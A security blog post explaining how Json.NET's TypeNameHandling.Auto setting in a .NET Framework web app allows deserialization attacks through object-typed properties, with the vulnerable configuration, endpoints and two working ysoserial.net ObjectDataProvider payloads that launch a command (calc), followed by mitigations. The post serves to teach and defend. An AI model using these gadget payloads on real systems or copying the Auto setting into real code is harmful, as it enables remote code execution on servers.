Skip to content

Exploit Chronicles: Json.NET Auto TypeNameHandling Deserialization Exploit

Posted in Exploit Chronicles

In this exploit chronicle post, we will cover a .NET deserialization attack vector that, from what I could see, is not as documented as others.

This post assumes that you know what deserialization attacks are. If you need to learn about it and get your hands dirty, I recommend this topic on PortSwigger Academy.

Let’s jump in.

C# and JSON Deserialization

First, we will cover some fundamental differences regarding deserialization between .NET Framework and .NET (Core). In .NET (Core), we can find a built-in deserialization namespace called System.Text.Json. This namespace has been made to be secure by default. However, in the .NET Framework, arguably the most used deserialization framework is Json.NET (Newtonsoft). The latter is of interest to us today.

Even though .NET (Core) is the new shiny version of C#, there are still plenty of .NET Framework applications to be found (especially version 4.8).

Classic Deserialization Attacks Against Json.NET

Most deserialization attacks that you will see against Json.NET are related to a miss configuration of TypeNameHandling. The classic case is when this setting is configured to All. That means that regardless of the expected object type to be returned by the deserialization, the provided serialized object will be processed. That is dangerous since, as you know, a deserialization attack occurs during the deserialization process.

But what about the other options? Are they safe? What happens if we set TypeNameHandling to Auto? The most relevant thing I have found regarding this question is this StackOverflow thread. This is what we will look into.

Note that TypeNameHandling is set to None by default, which is the safe option

Finding the Vulnerability

For this blog post, I have created a small .NET Framework 4.8 web application that you can find here.

The easiest (most of the time the only) way to find a deserialization vulnerability in a .NET Framework application is to search for TypeNameHandling in the source code. Doing that, we find the following code in Global.asax.cs:

protected void Application_Start()
{
    var formatter = GlobalConfiguration.Configuration.Formatters.JsonFormatter;
    formatter.SerializerSettings = new JsonSerializerSettings
    {
        TypeNameHandling = TypeNameHandling.Auto
    };

    // ...
}

Here, the TypeNameHandling setting is set globally to Auto. This means that any deserialization that occurs will use this configuration. This includes deserializations occurring when an API endpoint receives a serialized object in the payload.

But we can’t send our malicious serialized object directly to an API endpoint. Since the TypeNameHandling setting is not set to All, this won’t work. So how can we attack the web app if that setting is set toAuto? Looking at the documentation, we see the following:

Include the .NET type name when the type of the object being serialized is not the same as its declared type. Note that this does not include the root serialized object by default.

In other words, if we:

  • Find an input that is a serialized object that we have control of (or partial control)
  • And the class definition of this input contains an attribute that is either of type object or has the dynamic attribute

Then the vulnerability can be exploited.

Since the Auto setting is set globally, we can first look at the API definitions. Looking at the controllers, we find the following endpoint in Controllers/VulnerableController.cs:

[Route("api/vuln1")]
public SomeClass Vuln1([FromBody] SomeClass value)
{
    return value;
}

This POST API route receives a serialized SomeClass in the body and will automatically deserialize it to an object. Looking at the definition of this class in Models/SomeClass.cs, we have:

public class SomeClass
{
    public object Vulnerable { get; set; }
    public int SomeInt { get; set; }
    public string SomeString { get; set; }
}

We have found a serialized input that we can control that has an object attribute. It is time to build and send our malicious payload.

Exploiting It

To generate a malicious payload, we will use ysoserial.net. We can use one of the payloads in the README for our example. The payload that we will send is the following:

{"Vulnerable":{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","$values":["cmd","/ccalc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}},"SomeInt":42,"SomeString":"l33t"}

We can see that we are sending a serialized SomeClass and that the deserialization payload is in the Vulnerable attribute. We can send this using any REST client.

On the server side, we can see that the calculator has opened, confirming that we have successfully executed a command. Note that, since the deserialization occurs upon reception of the request, the exploit is completed before executing even just one line of the API function.

Digging Deeper

Just to be clear, this can be exploited regardless of how deep the targetted object attribute is. In the web app, there is a SomeOtherClass located in Models/SomeOtherClass.cs:

namespace AutoDeserialization.Models
{
    public class SomeOtherClass
    {
        public float SomeFloat { get; set; }
        public SomeClass VulnerableAsWell { get; set; }
    }
}

We can see that this class has an attribute SomeClass, which we know is vulnerable. The payload would then look like this:

{"SomeFloat":1.1,"VulnerableAsWell":{ "Vulnerable":{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","$values":["cmd","/ccalc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}},"SomeInt":42,"SomeString":"l33t"}}

Using Burp, we can use the API endpoint that expects this object.

Wrapping It Up and Mitigations

Hopefully, this helped you better understand how a TypeNameHandling set to Auto can be exploited. Note that only the None setting is safe. That means that the settings Objects and Arrays can be exploited as well under certain conditions (when you control a type object or an array that is being deserialized, respectively). The only way to properly fix this issue is to use the default setting None. To replace the need to use a different setting than None, a custom JsonConverter can be implemented with Json.NET.

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *